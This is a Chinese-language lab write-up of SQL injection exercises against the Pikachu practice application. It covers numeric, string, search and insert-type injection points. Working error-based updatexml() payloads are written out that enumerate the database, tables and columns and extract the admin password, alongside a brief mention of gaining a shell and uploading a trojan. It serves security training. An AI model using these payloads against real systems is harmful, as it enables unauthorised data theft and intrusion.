web实验4--SQL注入

SQL注入漏洞，主要是开发人员在构建代码时，没有对输入边界进行安全考虑，

导致攻击者可以通过合法的输入点提交一些精心构造的语句，从而欺骗后台数据库对其进行执行，导致数据库信息泄漏的一种漏洞。

SQL注入攻击流程

第一步：注入点探测

自动方式：使用web漏洞扫描工具，自动进行注入点发现
手动方式：手工构造SQL注入测试语句进行注入点发现

第二步：信息获取

通过注入点取得期望得到的数据

1.环境信息：数据库类型，数据库版本，操作系统版本，用户信息等
2.数据库信息：数据库蜜罐，数据库表，表字段，字段内容等（加密内容破解）

第三步：获取权限

获取操作系统权限：通过数据库执行shell，上传木马
注入点类型

分类根据：输入的变量传入到SQL语句是以什么类型拼接的

数字型：user_id=$id
字符型：user_id=‘$id‘
搜索型：text LIKE ‘%{$_GET[‘search‘]}%‘"

抓到的 burp包，我很怀疑这个 id 是直接写到select语句里面的，那么先对id做一个简单的全真修改

可见这一下全都出来了，那么显然注入成功

2.字符型注入（GET）

显而易见的 get 方式提交，那么先试一试这个 submit 这里面有没有注入点，输入 ' 试一试

报错那么简单的试一试全真

全部查到了，注入成功，然后做一下全面的注入

这里利用到 updatexml()函数，作用是改变（查找并替换）XML 文档中符合条件的节点的值，当然固有的不能改的数据就报错出来了

先看一下 MySQL的版本使用 ' and updatexml(1, version(), 0)#

只是出来了一部分，需要改进一下， ' and updatexml(1, version(), 0)# 中的 version函数需要做一下修饰这里使用 concat函数，将 ~输入进去，'and updatexml(1, concat(0x7e,version()), 0)#

可以看到是 10.1.35的 MariaDB。

现在使用'and updatexml(1, concat(0x7e, database()), 0)# 查看数据库名字

现在查询表名，使用 'and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)# 仍然使用concat函数

得到了第一个表的名字，因为我使用了limit函数限制防止报错太多无法显示，同理获取字段名，列名和用户名

'and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

用这个用户名字去获得数据和 password

' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

查询admin ' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#

猜一下是不是 base64，希望不是md5....

运气不错， 123456是 admin 的 password

3.搜索型注入

依旧是 get，那么用单引号挨个看报错

接着发现是可以部分包含查询的，那么一定有用到 %和like 来多个查询，很可能是'%name%'，试一试构造 %，将之前的单引号闭合

插件好像是出问题了.....233333，直接用的手工输入

4.XX型注入

和刚刚那个很像，但是估计是有什么不一样在里面，试了一下括号的可能性，果然就出来了

5.insert/update/delete注入

看到了注册页面那么可以都试一试有没有注入点，在注册的用户名，密码里面打上单引号，出现报错，显然存在注入点

分析一下，注册等于增加了一个新的用户，那么肯定用到 insert()这个函数插入新信息，当然还有常用的update()函数，那么我们可以通过 or 来做到很多操作，依旧使用updatexml函数看一下数据库名，使用应该不会存在的 adminminmin 'or updatexml(1, concat(0x7e,database()), 0) or '，两个单引号分别闭合 values数据的前后两个单引号，所以不用注释后面的句子